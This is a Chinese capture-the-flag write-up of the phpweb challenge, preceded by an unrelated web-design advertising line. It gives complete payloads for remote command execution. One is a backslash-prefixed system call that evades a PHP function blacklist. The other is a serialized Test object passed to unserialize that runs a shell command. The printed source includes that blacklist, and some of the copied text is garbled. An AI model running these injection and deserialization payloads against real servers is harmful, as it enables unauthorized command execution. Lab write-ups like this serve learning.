西安做網(wǎng)站印象網(wǎng)絡整合營銷策劃
BUU [網(wǎng)鼎杯 2020 朱雀組]phpweb
眾生皆懶狗。打開題目,只有一個報錯,不知何從下手。
翻譯一下報錯,data()函數(shù):,還是沒有頭緒,中國有句古話說的好“遇事不決抓個包”
抓個包果然有東西,仔細一看這不就分別是函數(shù)和參數(shù)嗎,試一下別的,從報錯發(fā)現(xiàn)和函數(shù)call_user_func()有關系。
試一下命令執(zhí)行有過濾,難辦,那還是得辦。從這里開始分為兩種方法了。
法一:
繞過過濾:
\system("ls");
\system
可以繞過黑名單的原因:php內(nèi)的" \ "在做代碼執(zhí)行的時候,會識別特殊字符串。
Payload:func=\system&p=tac $(find / -name fla*)
一步到位。
法二:
利用file_get_contents獲取index.php的源碼,
func=file_get_contents&p=index.php
源碼如下
<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {
? $result = call_user_func($func, $p);
? $a= gettype($result);
? if ($a == "string") {
? return $result;
? } else {return "";}}class Test {
? var $p = "Y-m-d h:i:s a";
? var $func = "date";
? function __destruct() {
? if ($this->func != "") {
? echo gettime($this->func, $this->p);
? }
? }}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {
? $func = strtolower($func);
? if (!in_array($func,$disable_fun)) {
? echo gettime($func, $p);
? }else {
? die("Hacker...");
? }}?>
媽呀過濾的真多,麻了,幸好沒有去一個一個測試。
分析一下代碼,是存在反序列化漏洞的。我們可以傳進去 f u n c = u n s e r i a l i z e , func=unserialize, func=unserialize,p=序列化后的字符串??梢孕蛄谢疶ext類,其中var $p = “tac $(find / -name fla*)”;var $func = “system”;【注意這里的類里面的func和p與傳進去的不一樣,不需要進行過濾】,貌似反序列化的題經(jīng)常喜歡拿名字一樣的兩個東西來混淆視聽,這個應該是考察我們對序列化和代碼的理解能力。
構造exp
Payload:
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A24%3A%22tac+%24%28find+%2F+-name+fla%2A%29%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
(這里應該是可以不url編碼直接傳字符串的)
也可以是Payload:
func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:24:“tac $(find / -name fla*)”;s:4:“func”;s:6:“system”;}
補充法:
好像也可以利用highlight_file或者show_source獲取index.php的源碼,做法和法二一樣。